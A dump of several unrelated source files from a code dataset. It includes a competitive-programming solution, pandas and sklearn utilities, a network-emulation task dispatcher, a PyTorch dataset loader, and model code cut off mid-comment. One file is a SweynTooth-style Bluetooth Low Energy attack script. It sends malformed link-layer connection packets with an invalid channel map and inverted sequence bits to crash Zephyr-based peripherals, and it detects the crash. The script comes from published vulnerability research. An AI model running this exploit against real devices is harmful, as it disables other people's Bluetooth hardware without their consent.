home.append([r,c])\r\n elif city[r][c] == 2 :\r\n chicken.append([r,c])\r\ncombi = list(combinations(chicken,M))\r\nanswer = float('inf')\r\nfor com in combi :\r\n temp = 0\r\n for h in home :\r\n dist = float('inf')\r\n for c in com :\r\n dist = min(dist, (abs(h[0] - c[0]) + abs(h[1] - c[1])))\r\n temp += dist\r\n answer = min(answer,temp)\r\nprint(answer)","repo_name":"jooyun-1/PS_repo","sub_path":"백준/Gold/15686. 치킨 배달/치킨 배달.py","file_name":"치킨 배달.py","file_ext":"py","file_size_in_byte":671,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"37321824309","text":"# TODO: Write function to clean df column names, i.e., remove spaces\n# and convert to lower case.\nfrom datetime import date, datetime\nfrom itertools import chain\nfrom math import log\nimport os\nimport re\n\nimport numpy as np\nimport pandas as pd\n\n\n\ndef clean_col_name(col_name):\n \"\"\"Replaces specific characters in a string with an underscore. This\n may be necessary when creating tables in-database as these\n characters might not be allowed in column names.\n \"\"\"\n\n replace_chars = list(' .-():/')\n\n for char in replace_chars:\n col_name = col_name.replace(char, '_')\n\n return col_name\\\n .lower()\\\n .rstrip('_')\n\n\n\ndef create_balanced_train_test_splits(df, class_col, train_class_size,\n n_iter=5):\n \"\"\"Creates multiple iterations of train test splits of a DataFrame,\n where the training sets are balanced.\n\n Parameters\n ----------\n df : DataFrame\n The data that we want to use for cross validation\n class_col : str\n The column which we want to have even distribution of\n train_class_size : int\n The desired size of each class for training\n n_iter : int, default 5\n The number of times to iterate through different training and\n test splits\n\n Returns\n -------\n train_test_set_list : list\n A list of tuples of training and test sets\n \"\"\"\n\n def _create_balanced_train_df():\n \"\"\"Creates a balanced training set.\"\"\"\n class_df_list =\\\n [_subset_single_class(value)\n for value in class_values]\n\n train_df = pd.concat(class_df_list)\n return train_df\n\n def _subset_single_class(value):\n \"\"\"Subsets a single class for training.\"\"\"\n return df[df[class_col] == value]\\\n .sample(train_class_size)\n\n def _create_complementary_test_df(train_df):\n \"\"\"Creates a test set that contains the remaining data in df\n that is not in the training set.\n \"\"\"\n\n # Indices from the training set\n train_indices = train_df.index\n # Remaining indices\n test_indices = np.setdiff1d(df.index, train_indices)\n # Test set from indices\n test_df = df.loc[test_indices]\n\n return test_df\n\n\n # Get the distinct class values\n class_values = sorted(df[class_col].unique())\n\n train_test_set_list = []\n for i in range(n_iter):\n train_df = _create_balanced_train_df()\n test_df = _create_complementary_test_df(train_df)\n\n train_test_set_list.append((train_df, test_df))\n\n return train_test_set_list\n\n\ndef create_coef_df(clf, feat_names):\n \"\"\"Creates a DataFrame that maps the feature names to their\n corresponding coefficients.\n\n Parameters\n ----------\n clf : The sklearn regression classifier object. Can be one of\n ElasticNet, LinearRegression, LogisticRegression, SGDClassifier,\n or SGDRegressor.\n feat_names : array-like\n The feature names used for training the classifier.\n\n Returns\n -------\n reg_coef_df : DataFrame\n Contains feature names and regression coefficients\n \"\"\"\n\n # Create DataFrame with feature names\n reg_coef_df = pd.DataFrame({'feat_name': feat_names})\n\n # Add coefficients to DataFrame\n if isinstance(clf, (LogisticRegression, SGDClassifier)):\n reg_coef_df['coef'] = clf.coef_[0]\n elif isinstance(clf, (ElasticNet, LinearRegression, SGDRegressor)):\n reg_coef_df['coef'] = clf.coef_\n else:\n raise ValueError('clf is not a valid classifier. It should be one of '\n '(ElasticNet, LinearRegression, LogisticRegression, '\n 'SGDClassifier, SGDRegressor)')\n\n # Clean up and sort by value\n reg_coef_df = reg_coef_df\\\n .set_index('feat_name')\\\n .sort_values('coef', ascending=False)\n\n return reg_coef_df\n\n\ndef extract_dt_rule_string(obs, tree, feature_names):\n \"\"\"This function gets, for a given observation, the set of rules the\n observation follows in a Decision Tree.\n\n Parameters\n ----------\n obs : list\n A list of the observation's feature values\n tree: An sklearn Tree object\n feature_names: list\n A list of the feature nameis\n\n Returns\n -------\n dt_rule_str : str\n A string representing the Decision Tree rules.\n \"\"\"\n\n def _extract_split_rule(node, direction):\n \"\"\"Gets the splitting rule for a decision tree at a given node.\"\"\"\n feat_num = tree.feature[node]\n feat_name = feature_names[feat_num]\n threshold = tree.threshold[node]\n\n if feat_num < 0:\n return ''\n\n if direction == 'left':\n return '{} <= {}'.format(feat_name, threshold)\n elif direction == 'right':\n return '{} > {}'.format(feat_name, threshold)\n\n def _recurse_tree(node, left_rules, right_rules, rule_list=[]):\n \"\"\"Recurses down the tree and extracts the rules.\"\"\"\n if tree.children_left[node] < 0 and tree.children_right[node] < 0:\n return ' AND '.join(rule_list)\n\n feat_num = tree.feature[node]\n if obs[feat_num] <= tree.threshold[node]:\n rule_list.append(left_rules[node])\n return _recurse_tree(tree.children_left[node],\n left_rules, right_rules, rule_list)\n else:\n rule_list.append(right_rules[node])\n return _recurse_tree(tree.children_right[node],\n left_rules, right_rules, rule_list)\n\n\n left_rules = [_extract_split_rule(i, 'left')\n for i in range(len(tree.feature))]\n right_rules = [_extract_split_rule(i, 'right')\n for i in range(len(tree.feature))]\n\n dt_rule_str = _recurse_tree(0, left_rules, right_rules)\n\n return dt_rule_str\n\n\ndef get_common_dummies(data, top_n=10, prefix_sep='_', clean_col=True):\n \"\"\"Returns dummy variables, but only for the most common values.\n\n Parameters\n ----------\n data : Series or DataFrame\n top_n : int, list, or dict, default 10\n A int, list, or dict representing the number of most common\n features to create dummy variables. If it is a int, then it\n will apply that to each feature. If it is a list, then it will\n select different amounts for each feature. It applies it\n element-wise. Alternatively, a dict can be used instead to\n specify the amounts by column.\n prefix_sep : string, default '_'\n Delimiter to use to separate prefix from column value\n clean_col : boolean, default True\n Whether to clean up the final DataFrame column names\n\n Returns\n -------\n dummy_df : DataFrame\n A DataFrame with the new dummy columns\n \"\"\"\n\n if not isinstance(top_n, (int, list, dict)):\n raise ValueError('top_n must be an int, list, or a dict.')\n if not isinstance(data, (pd.Series, pd.DataFrame)):\n raise ValueError('data must be a Pandas Series or DataFrame.')\n\n if isinstance(data, pd.Series):\n # Gather top_n most common values\n most_common_values = data.value_counts()[:top_n].index\n # Create dummy variables for all values\n all_dummy_df = pd.get_dummies(data, prefix_sep=prefix_sep)\n # Filter by most common values\n dummy_df = all_dummy_df[most_common_values]\n\n elif isinstance(data, pd.DataFrame):\n distinct_col_vals = {}\n\n # Get most common values\n for i, col in enumerate(data):\n val_list = data[col].value_counts().index.tolist()\n\n if isinstance(top_n, int):\n most_common_values = val_list[:top_n]\n elif isinstance(top_n, list):\n most_common_values = val_list[:top_n[i]]\n elif isinstance(top_n, dict):\n most_common_values = val_list[:top_n[col]]\n\n most_common_values = [col + prefix_sep + s\n for s in most_common_values]\n distinct_col_vals[col] = most_common_values\n\n # Unnest all columns into a single list\n all_columns = list(chain(*list(distinct_col_vals.values())))\n # Filter selected columns\n dummy_df = pd.get_dummies(data, prefix_sep=prefix_sep)[all_columns]\n\n if clean_col:\n dummy_df.columns = dummy_df.columns.map(clean_col_name)\n\n return dummy_df\n\n\ndef get_df_column_type(df, col_name):\n \"\"\"Returns the type of a DataFrame's columns.\"\"\"\n srs = df[col_name].dropna()\n single_val = srs.iloc[0]\n\n return type(single_val).__name__\n\n\ndef get_list_type_dummies(data, prefix_sep='_', clean_col=True,\n include_prefix=True):\n \"\"\"Creates dummy variables from a Pandas DataFrame column whose\n types are lists. It will create a dummy variable for each possible\n value in all of the lists and whether the observation has that\n variable.\n\n Parameters\n ----------\n data : Series\n prefix_sep : str, default '_'\n The string that will separate the column name its value\n clean_col : bool, default True\n Whether or not to clean up the column names\n include_prefix : bool, default True\n Whether or not to include a prefix for the table name\n\n Returns\n -------\n dummy_df : DataFrame\n A DataFrame with the new dummy columns\n \"\"\"\n\n def _get_distinct_values():\n \"\"\"Gets a list of all distinct values.\"\"\"\n # Get reason code column (dropping nulls)\n srs = data.dropna()\n # Make a list from the list of lists\n all_vals = list(chain.from_iterable(srs))\n # Get distinct values\n distinct_vals = set(all_vals)\n # Sort in alphabetical order\n return sorted(distinct_vals)\n\n def _check_in_array(col_array):\n \"\"\"Check if the value is in array.\"\"\"\n if col_array is None:\n return 0\n return int(val in col_array)\n\n\n if not isinstance(data, pd.Series):\n raise ValueError('data must be a Pandas Series.')\n\n # Get the series' distinct values\n distinct_vals = _get_distinct_values()\n\n dummy_df = pd.DataFrame()\n\n # Create dummy variables for reason codes\n for val in distinct_vals:\n dummy_df[val] = data.map(_check_in_array)\n\n if include_prefix:\n dummy_df.columns = dummy_df.columns\\\n .map(lambda s: data.name + prefix_sep + s)\n if clean_col:\n dummy_df.columns = dummy_df.columns\\\n .map(lambda s: clean_col_name(s))\n\n return dummy_df\n","repo_name":"gregtam/python-utils","sub_path":"ml_utils.py","file_name":"ml_utils.py","file_ext":"py","file_size_in_byte":10506,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"13569584224","text":"#!/usr/bin/python\nimport os\nimport platform\nimport sys\nfrom time import sleep\n\n# libs\nsys.path.insert(0, os.getcwd() + '/libs')\nimport colorama\nfrom colorama import Fore\nfrom drivers.NRF52_dongle import NRF52Dongle\nfrom scapy.layers.bluetooth4LE import *\nfrom scapy.layers.bluetooth import ATT_Hdr, ATT_Exchange_MTU_Request\nfrom timeout_lib import start_timeout, update_timeout\n\n# Default master address\nmaster_address = '5d:36:ac:90:0b:22'\naccess_address = 0x9a328370\nconnecting = False\nslave_txaddr = 0\nnone_count = 0\nslave_connected = False\nsend_version_ind = False\nend_connection = False\npayload_sent = False\nrun_script = True\nSCAN_TIMEOUT = 0.5\nCRASH_TIMEOUT = 6.0\n\n# Autoreset colors\ncolorama.init(autoreset=True)\n\n# Get serial port from command line\nif len(sys.argv) >= 2:\n serial_port = sys.argv[1]\nelif platform.system() == 'Linux':\n serial_port = '/dev/ttyACM0'\nelif platform.system() == 'Windows':\n serial_port = 'COM1'\nelse:\n print(Fore.RED + 'Platform not identified')\n sys.exit(0)\n\nprint(Fore.YELLOW + 'Serial port: ' + serial_port)\n\n# Get advertiser_address from command line (peripheral addr)\nif len(sys.argv) >= 3:\n advertiser_address = sys.argv[2].lower()\nelse:\n advertiser_address = 'f8:f0:05:f3:66:e0'.upper()\n\nprint(Fore.YELLOW + 'Advertiser Address: ' + advertiser_address.upper())\n\n\ndef crash_timeout():\n global connecting, run_script\n connecting = False\n print(Fore.RED + \"No advertisement from \" + advertiser_address.upper() +\n ' received\\nThe device may have crashed!!!')\n run_script = False\n\n\ndef scan_timeout():\n global timeout_scan, connecting\n connecting = False\n if not slave_connected:\n scan_req = BTLE() / BTLE_ADV(RxAdd=slave_txaddr) / BTLE_SCAN_REQ(\n ScanA=master_address,\n AdvA=advertiser_address)\n\n driver.send(scan_req, force_pcap_save=True)\n\n start_timeout('scan_timeout', SCAN_TIMEOUT, scan_timeout)\n\n\n# Open serial port of NRF52 Dongle\ndriver = NRF52Dongle(serial_port, '115200', logs_pcap=True,\n pcap_filename='logs/zephyr_invalid_sequence.pcap')\ndriver.set_log_tx(1)\n# Send scan request\nscan_req = BTLE() / BTLE_ADV(RxAdd=0) / BTLE_SCAN_REQ(\n ScanA=master_address,\n AdvA=advertiser_address)\ndriver.send(scan_req, force_pcap_save=True)\n\n# Start the scan timeout to resend packets\nstart_timeout('scan_timeout', SCAN_TIMEOUT, scan_timeout)\n\nprint(Fore.YELLOW + 'Waiting advertisements from ' + advertiser_address)\nwhile run_script:\n pkt = None\n # Receive packet from the NRF52 Dongle\n data = driver.raw_receive()\n if data:\n # Decode Bluetooth Low Energy Data\n pkt = BTLE(data)\n # if packet is incorrectly decoded, you may not be using the dongle\n if pkt is None:\n none_count += 1\n if none_count >= 4:\n print(Fore.RED + 'NRF52 Dongle not detected')\n sys.exit(0)\n continue\n # --------------- Process Link Layer Packets here ------------------------------------\n # Check if packet from advertised is received\n if pkt and (BTLE_SCAN_RSP in pkt or BTLE_ADV_IND in pkt) and pkt.AdvA == advertiser_address.lower() \\\n and not connecting:\n update_timeout('crash_timeout')\n update_timeout('scan_timeout')\n print(Fore.GREEN + advertiser_address.upper() + ': ' + pkt.summary()[7:] + ' Detected')\n connecting = True\n payload_sent = False\n slave_txaddr = pkt.TxAdd\n conn_request = BTLE() / BTLE_ADV(RxAdd=slave_txaddr, TxAdd=0) / BTLE_CONNECT_REQ(\n InitA=master_address,\n AdvA=advertiser_address,\n AA=access_address, # Access address (any)\n crc_init=0x179a9c, # CRC init (any)\n win_size=2, # 2.5 of windows size (anchor connection window size)\n win_offset=1, # 1.25ms windows offset (anchor connection point)\n interval=16, # 20ms connection interval\n latency=0, # Slave latency (any)\n timeout=25, # Supervision timeout, 250ms (any)\n chM=0x1FFFFFFFFF, # Invalid channel map\n hop=5, # Hop increment (any)\n SCA=0, # Clock tolerance\n )\n\n # driver.set_nesnsn(0b00) # Change to 0 so you can see the stability difference\n driver.set_nesnsn(0b11) # Set the initial value of both NESN and SN to 1\n # You can also set them individually as bellow\n # driver.set_nesn(1)\n # driver.set_sn(1)\n # Yes, we're sending raw link layer messages in Python. Don't tell anyone as this is forbidden!!!\n driver.send(conn_request, force_pcap_save=True) # Send connection request to advertiser\n print(Fore.YELLOW + 'Invalid sequence attack started, initial ACK bits set to 1')\n\n # Start the timeout to detect crashes\n start_timeout('crash_timeout', CRASH_TIMEOUT, crash_timeout)\n\n elif BTLE_DATA in pkt:\n update_timeout('crash_timeout')\n if BTLE_EMPTY_PDU not in pkt:\n print(Fore.YELLOW + \"Slave RX <--- \" + pkt.summary()[7:] + Fore.RESET)\n\n if not payload_sent:\n payload_sent = True\n # The attack attempts to send multiple packets while initiating the anchor point with nesn and sn set to 1\n # 1) Send Feature request\n pkt = BTLE(access_addr=access_address) / BTLE_DATA() / CtrlPDU() / LL_FEATURE_RSP(\n feature_set='le_encryption+le_data_len_ext')\n driver.send(pkt)\n # 2) Send version ind request\n pkt = BTLE(access_addr=access_address) / BTLE_DATA() / CtrlPDU() / LL_VERSION_IND(version='4.2')\n driver.send(pkt)\n # 3) Send length request\n pkt = BTLE(access_addr=access_address) / BTLE_DATA() / CtrlPDU() / LL_LENGTH_REQ(\n max_tx_bytes=247 + 4, max_rx_bytes=247 + 4)\n driver.send(pkt)\n # 4) Send ATT MTU Request\n pkt = BTLE(access_addr=access_address) / \\\n BTLE_DATA() / L2CAP_Hdr() / ATT_Hdr() / ATT_Exchange_MTU_Request(mtu=247)\n driver.send(pkt)\n\n # The driver will automatically retransmit packets if the peripheral fails to send the correct ack\n # Generally, the peripheral will not respond to repeated retransmissions of step 1)\n\n sleep(0.01)\n\ndriver.save_pcap()\nprint(Fore.GREEN + \"Capture saved in logs/zephyr_invalid_sequence.pcap\")\n","repo_name":"Matheus-Garbelini/sweyntooth_bluetooth_low_energy_attacks","sub_path":"zephyr_invalid_sequence.py","file_name":"zephyr_invalid_sequence.py","file_ext":"py","file_size_in_byte":6644,"program_lang":"python","lang":"en","doc_type":"code","stars":247,"dataset":"github-code","pt":"18"} +{"seq_id":"26377354789","text":"import logging\nimport random\nfrom concurrent.futures import ThreadPoolExecutor\n\nimport settings as s\nfrom actors.Simulation import Simulation\nfrom actors.Task import Task\nfrom actors.Vehicle import TaskGeneratorVehicle\nfrom actors.constant import Color\nfrom sumo_traci import SumoVehicle\n\nexecutor = ThreadPoolExecutor(max_workers=5, thread_name_prefix=\"news_reporter\")\ncloud_processes = {}\ntask_request_processes = {}\n\n\ndef send_task_request_to_task_assigner(task_assigner_host_ip, task):\n mn_station = task.owner.station\n command = \"echo '{}' | nc {} {} -w 3\".format(task.get_task_origin_data(), task_assigner_host_ip,\n str(s.TASK_REQUEST_LISTEN_PORT))\n logging.info(\"Command to be called: %s\" % command)\n # cmd_output = mn_station.cmd(\"ping -c 1 %s\" % task_assigner_host_ip)\n # logging.info(\"Ping result: %s\" % cmd_output)\n # cmd_output = mn_station.cmd(command)\n # if len(cmd_output) < 10:\n # logging.error(\"Error while sending task request, shall try again\")\n # cmd_output = mn_station.cmd(command)\n # logging.info(\"Command result: %s\" % cmd_output)\n # os.system(command)\n task_request_process = mn_station.popen(command)\n task_request_processes[task.no] = task_request_process\n\n\ndef send_task_data_to_cloud(cloud_server, cloud_ip, task, log_server_ip):\n logging.info(f\"{Color.BLUE}Task#{task.no}: {task.owner.station.name}->Cloud{Color.ENDC}\")\n mn_station = task.owner.station\n # cmd_output = mn_station.cmd(\"ping -c 1 %s\" % cloud_ip)\n # logging.info(\"Ping result: %s\" % cmd_output)\n iperf_port = task.no + s.IPERF_PORT_RANGE_START\n\n server_command = get_serve_file_command(iperf_port)\n server_process = cloud_server.popen(server_command)\n task.server_process = server_process\n estimated_tx = int(task.estimated_tx_end_time - task.tx_start_time) + 5\n task.ping_processes.append(mn_station.popen(f\"ping -t {estimated_tx} {cloud_ip}\"))\n task.ping_processes.append(cloud_server.popen(f\"ping -t {estimated_tx} {mn_station.wintfs[0].ip}\"))\n\n command = get_send_file_command(cloud_ip, iperf_port, task.size, task.get_task_identifier(), s.NAT_HOST_ID,\n log_server_ip)\n logging.info(\"Command to be called: %s\" % command)\n data_send_process = mn_station.popen(command)\n cloud_processes[task.no] = data_send_process\n task.tx_process = data_send_process\n return data_send_process\n\n\ndef send_task_data_to_processor(task, log_server_ip):\n src_station = task.owner.station\n dst_station = task.assigned_processor.station\n dst_station_ip = dst_station.wintfs[0].ip\n iperf_port = task.no + s.IPERF_PORT_RANGE_START\n\n server_command = get_serve_file_command(iperf_port)\n server_process = dst_station.popen(server_command)\n task.server_process = server_process\n\n estimated_tx = int(task.estimated_tx_end_time - task.tx_start_time) + 5\n task.ping_processes.append(src_station.popen(f\"ping -t {estimated_tx} {dst_station_ip}\"))\n task.ping_processes.append(dst_station.popen(f\"ping -t {estimated_tx} {src_station.wintfs[0].ip}\"))\n\n command = get_send_file_command(dst_station_ip, iperf_port, task.size, task.get_task_identifier(), s.NAT_HOST_ID,\n log_server_ip)\n logging.info(\"Command to be called: %s\" % command)\n data_send_process = src_station.popen(command)\n task_request_processes[task.no] = data_send_process\n task.tx_process = data_send_process\n return data_send_process\n\n\ndef get_send_file_command(target_ip, target_port, data_size, task_data, target_id, log_server_ip):\n if s.USE_IPERF:\n command = \"iperf3 -c {0} -p {1} -n {2}KB -f K -Z -i 5 --extra-data '{3}'\".format(target_ip, target_port,\n data_size, task_data)\n else:\n command = \"ITGSend -a {0} -T TCP -C 100000 -c 1408 -k {1} -L {2} TCP -l {3}/{4}.log \" \\\n \"-Sdp {5} -rp {7} -j 1 -poll\" \\\n .format(target_ip, data_size, log_server_ip,\n s.ITG_SENDER_LOG_PATH, target_id, target_id + 9000, target_id + 9200, target_id + 9400\n )\n return command\n\n\ndef get_serve_file_command(receiving_port):\n log_file_name = f'logs_iperf/{Simulation.real_life_start_time}_server.log'\n if s.USE_IPERF:\n return \"iperf3 -s -p {0} -J -f K --logfile {1}\".format(receiving_port, log_file_name)\n\n\ndef send_task_request_to_task_assigner_async(task_assigner_host_ip, task):\n executor.submit(send_task_request_to_task_assigner, task_assigner_host_ip, task)\n\n\nif __name__ == '__main__':\n start_time = 111\n logging.basicConfig(level=getattr(logging, s.LOG_LEVEL), format=\"%(asctime)s %(levelname)s -> %(message)s\")\n sumo_vehicle = SumoVehicle(\"veh111\", type_abbreviation=random.choice([\"E\", \"T\"]), route_length=350)\n task_generator_vehicle = TaskGeneratorVehicle(sumo_vehicle, None, start_time)\n size = random.randint(*s.TASK_SIZE)\n deadline = random.randint(*s.DEADLINE)\n dummy_task = Task(start_time, task_generator_vehicle, size, deadline)\n send_task_request_to_task_assigner(\"127.0.0.1\", dummy_task)\n send_task_request_to_task_assigner_async(\"127.0.0.1\", dummy_task)\n","repo_name":"onurklngc/drone-network-onos-and-mininet","sub_path":"dispatch_tasks.py","file_name":"dispatch_tasks.py","file_ext":"py","file_size_in_byte":5271,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"18"} +{"seq_id":"11888936778","text":"import torch\nimport torch.utils\nimport torch.utils.data\nimport os\nfrom torchvision import transforms\nfrom random import random, sample\nfrom PIL import Image\n\n\nclass Dataset_LOL(torch.utils.data.Dataset):\n def __init__(self, raw_dir, exp_dir, subset_img=None, size=None, training=True):\n self.raw_dir = raw_dir\n self.exp_dir = exp_dir\n self.subset_img = subset_img\n self.size = size\n\n if subset_img is not None:\n self.listfile = sample(os.listdir(raw_dir), self.subset_img)\n else:\n self.listfile = os.listdir(raw_dir)\n\n transformation = []\n if training:\n transformation.append(transforms.RandomHorizontalFlip(0.5))\n if size is not None:\n if random() > 0.5:\n transformation.append(transforms.RandomResizedCrop((size, size)))\n if size is not None:\n transformation.append(transforms.Resize((size, size)))\n\n self.transforms = transforms.Compose(transformation)\n\n def __len__(self):\n return len(self.listfile)\n\n def __getitem__(self, index):\n raw = transforms.ToTensor()(Image.open(self.raw_dir + self.listfile[index]))\n expert = transforms.ToTensor()(Image.open(self.exp_dir + self.listfile[index]))\n if raw.shape != expert.shape:\n raw = transforms.Resize((self.size, self.size))(raw)\n expert = transforms.Resize((self.size, self.size))(expert)\n raw_exp = self.transforms(torch.stack([raw, expert]))\n return raw_exp[0], raw_exp[1]\n\n\nclass LoadDataset(torch.utils.data.Dataset):\n def __init__(self, raw_list, prob_list, win):\n self.raw_list = raw_list\n self.prob_list = prob_list\n self.win = win\n self.indices = []\n\n def __len__(self):\n return len(self.raw_list)\n\n def __getitem__(self, index):\n return self.raw_list[index], self.prob_list[index], torch.tensor(self.win[index])\n\n","repo_name":"OcraM17/TreEnhance","sub_path":"data_Prep.py","file_name":"data_Prep.py","file_ext":"py","file_size_in_byte":1956,"program_lang":"python","lang":"en","doc_type":"code","stars":16,"dataset":"github-code","pt":"18"} +{"seq_id":"75327312680","text":"import torch\nimport torch.nn as nn\nimport torch.nn.functional as F\nfrom torch.nn.modules.batchnorm import _BatchNorm\nimport numpy as np\nfrom utils.tools import get_center_around_indexes\n# from vit_pytorch import ViT\n# from vit_pytorch.vit import repeat\n# from .custom_transformer import ViT3DTransformer, ViT3DFlowformer\n# from .FEDformer import FEDformer,Informer\nfrom einops import rearrange\n\nclass AdaptiveBatchNorm2d(_BatchNorm):\n def _check_input_dim(self, input):\n if input.dim() != 4:\n raise ValueError('expected 4D input (got {}D input)' .format(input.dim()))\n def forward(self, input):\n self._check_input_dim(input)\n #!!!below is the only different\n if input.shape[-2]==1:return input\n\n # exponential_average_factor is set to self.momentum\n # (when it is available) only so that it gets updated\n # in ONNX graph when this node is exported to ONNX.\n if self.momentum is None:exponential_average_factor = 0.0\n else:exponential_average_factor = self.momentum\n\n if self.training and self.track_running_stats:\n # TODO: if statement only here to tell the jit to skip emitting this when it is None\n if self.num_batches_tracked is not None:\n self.num_batches_tracked = self.num_batches_tracked + 1\n if self.momentum is None: # use cumulative moving average\n exponential_average_factor = 1.0 / float(self.num_batches_tracked)\n else: # use exponential moving average\n exponential_average_factor = self.momentum\n\n r\"\"\"\n Decide whether the mini-batch stats should be used for normalization rather than the buffers.\n Mini-batch stats are used in training mode, and in eval mode when buffers are None.\n \"\"\"\n if self.training:bn_training = True\n else:bn_training = (self.running_mean is None) and (self.running_var is None)\n\n r\"\"\"\n Buffers are only updated if they are to be tracked and we are in training mode. Thus they only need to be\n passed when the update should occur (i.e. in training mode when they are tracked), or when buffer stats are\n used for normalization (i.e. in eval mode when buffers are not None).\n \"\"\"\n return F.batch_norm(\n input,\n # If buffers are not to be tracked, ensure that they won't be updated\n self.running_mean if not self.training or self.track_running_stats else None,\n self.running_var if not self.training or self.track_running_stats else None,\n self.weight, self.bias, bn_training, exponential_average_factor, self.eps)\n\nclass Bottleneck(nn.Module):\n \"\"\" Adapted from torchvision.models.resnet \"\"\"\n\n def __init__(self, in_channels, output_channels, stride,mid_channels=None,upsample=None, norm_layer=AdaptiveBatchNorm2d,relu=nn.ReLU(inplace=True)):\n super().__init__()\n if mid_channels is None:mid_channels=in_channels\n optpad = stride-1\n self.conv1 = nn.Conv2d(in_channels, mid_channels, kernel_size=1, bias=False)\n self.bn1 = norm_layer(mid_channels)\n self.conv2 = nn.Conv2d(mid_channels, mid_channels, kernel_size=3, stride=stride, bias=False)\n self.bn2 = norm_layer(mid_channels)\n self.conv3 = nn.Conv2d(mid_channels, output_channels, kernel_size=1, bias=False)\n self.bn3 = norm_layer(output_channels)\n self.relu = relu\n #self.relu = nn.LeakyReLU(negative_slope=0.6, inplace=True)\n self.stride = stride\n self.upsample = upsample\n if self.upsample is None:\n if output_channels!=in_channels or stride >1:\n self.upsample = nn.Sequential(\n nn.Conv2d(in_channels,\n output_channels,\n kernel_size=3,\n stride=stride,\n bias=False) ,\n norm_layer(output_channels),\n )\n def forward(self, x):\n residual = x\n\n out = self.conv1(x)\n out = self.bn1(out)\n out = self.relu(out)\n\n out = self.conv2(out)\n out = self.bn2(out)\n out = self.relu(out)\n\n out = self.conv3(out)\n out = self.bn3(out)\n\n if self.upsample is not None:\n residual = self.upsample(x)\n\n out += residual\n out = self.relu(out)\n\n return out\n\nclass NaiveConvModel2D(nn.Module):\n '''\n input is (B, P, patch_range_1,patch_range_2)\n output is (B,P)\n ''' \n def __init__(self,img_size=None,patch_range=5,in_chans=20, out_chans=20, **kargs):\n super().__init__()\n self.img_size = img_size\n self.patch_range = 5\n if self.patch_range == 5:\n self.backbone = nn.Sequential(Bottleneck(in_chans,1024,1),Bottleneck(1024,out_chans,1))\n self.mlp = nn.Linear(self.patch_range**2, 1)\n else:\n raise NotImplementedError\n self.center_index,self.around_index=get_center_around_indexes(self.patch_range,self.img_size)\n\n def forward(self, x):\n '''\n The input either (B,P,patch_range,patch_range) or (B,P,w,h)\n The output then is (B,P) or (B,P,w-patch_range//2,h-patch_range//2)\n ''' \n assert len(x.shape)==4\n input_is_full_image = False\n if x.shape[-2:] == self.img_size:\n input_is_full_image = True\n x = x[...,self.around_index[:,:,0],self.around_index[:,:,1]] # (B,P,W-4,H,Patch,Patch)\n x = x.permute(0,2,3,1,4,5)\n B,W,H,P,_,_ = x.shape\n x = x.flatten(0,2) # (B* W-4 * H,Patch,Patch)\n x = self.backbone(x).squeeze(-1).squeeze(-1) + self.mlp(x.flatten(-2,-1)).squeeze(-1)\n if input_is_full_image: \n x = x.reshape(B,W,H,P).permute(0,3,1,2)\n return x\n\nclass AutoPatchModel2D:\n center_around_index_table = {}\n # def __init__(self, config):\n # super().__init__()\n # #assert img_size is not None\n # #print(f\"for 2D patch model, the img_size will be force set (32,64)\")\n # self.img_size = config.img_size\n # self.patch_range = config.patch_range\n # self.center_index,self.around_index=get_center_around_indexes(self.patch_range,self.img_size)\n # self.center_index_pool={}\n # self.around_index_pool={}\n # img_size=tuple(img_size)\n # self.center_index_pool[img_size]=self.center_index\n # self.around_index_pool[img_size]=self.around_index\n\n def create_center_around_index(self,img_shape):\n patch_range = self.patch_range if isinstance(self.patch_range,(list,tuple)) else (self.patch_range,self.patch_range)\n img_shape = tuple(img_shape)\n h_range = range(patch_range[-2]//2, img_shape[-2] - (patch_range[-2]//2))\n if img_shape[-1] != self.img_size[-1]: # if is not 64, then we disable peroid boundary\n w_range = range(patch_range[-1]//2, img_shape[-1] - (patch_range[-1]//2))\n else:\n w_range = range(img_shape[-1]) \n center_index,around_index=get_center_around_indexes(patch_range,img_shape, h_range, w_range)\n self.center_index_pool[img_shape]=center_index\n self.around_index_pool[img_shape]=around_index\n \n def center_index_depend_input(self, img_shape):\n if img_shape not in self.center_index_pool:\n self.create_center_around_index(img_shape)\n return self.center_index_pool[img_shape]\n\n def around_index_depend_input(self, img_shape):\n if img_shape not in self.around_index_pool:\n self.create_center_around_index(img_shape)\n return self.around_index_pool[img_shape]\n\n def get_center_index_depend_on(self, tgt_shape, img_shape):\n if img_shape not in self.center_around_index_table:\n self.center_around_index_table[img_shape]={}\n if tgt_shape not in self.center_around_index_table[img_shape]:\n h_delta = img_shape[0] - tgt_shape[0]\n h_range = range(h_delta//2, img_shape[0] - h_delta//2)\n assert len(h_range) == tgt_shape[0]\n w_delta = img_shape[1] - tgt_shape[1]\n w_range = range(w_delta//2, img_shape[1] - w_delta//2)\n assert len(w_range) == tgt_shape[1]\n self.center_around_index_table[img_shape][tgt_shape]=get_center_around_indexes(self.patch_range,img_shape, h_range=h_range, w_range=w_range)\n return self.center_around_index_table[img_shape][tgt_shape]\n\n @staticmethod\n def good_tuple(x, num):\n if isinstance(x,(list,tuple)):\n return tuple(x)\n else:\n return tuple([x]*num)\n\n def image_to_patches(self, x):\n if len(x.shape) == 3:x=x.unsqueeze(0)\n assert len(x.shape)==4\n self.input_is_full_image = False\n good_input_shape = self.good_tuple(self.patch_range,len(self.img_size))\n now_input_shape = tuple(x.shape[-2:])\n if now_input_shape!= good_input_shape:\n self.input_is_full_image = True\n around_index = self.around_index_depend_input(now_input_shape)\n x = x[...,around_index[:,:,0],around_index[:,:,1]] # (B,P,W-4,H,Patch,Patch)\n x = x.permute(0,2,3,1,4,5)\n B,W,H,P,_,_ = x.shape\n self.input_shape_tmp=(B,W,H,P)\n x = x.flatten(0,2) # (B* W-4 * H,P, Patch,Patch)\n now_input_shape = tuple(x.shape[-2:])\n assert now_input_shape == good_input_shape, f\"input shape is {now_input_shape}, but should be {good_input_shape}\"\n return x\n\n def patches_to_image(self,x):\n if self.input_is_full_image: \n B,W,H,P = self.input_shape_tmp\n x = x.reshape(B,W,H,P).permute(0,3,1,2)\n return x\n\nclass AutoPatchOverLapModel2D(AutoPatchModel2D):\n counting_matrix = None\n counting_matrixes = {}\n yeses = {}\n peses = {}\n \n # def patches_to_image(self,x):\n # \"\"\"\n # Should split to two types:\n # 1. if the output tensor is (32,64), then it has global period symmetry\n # 2. if the output tensor is bigger patch like (8,8), the it means in 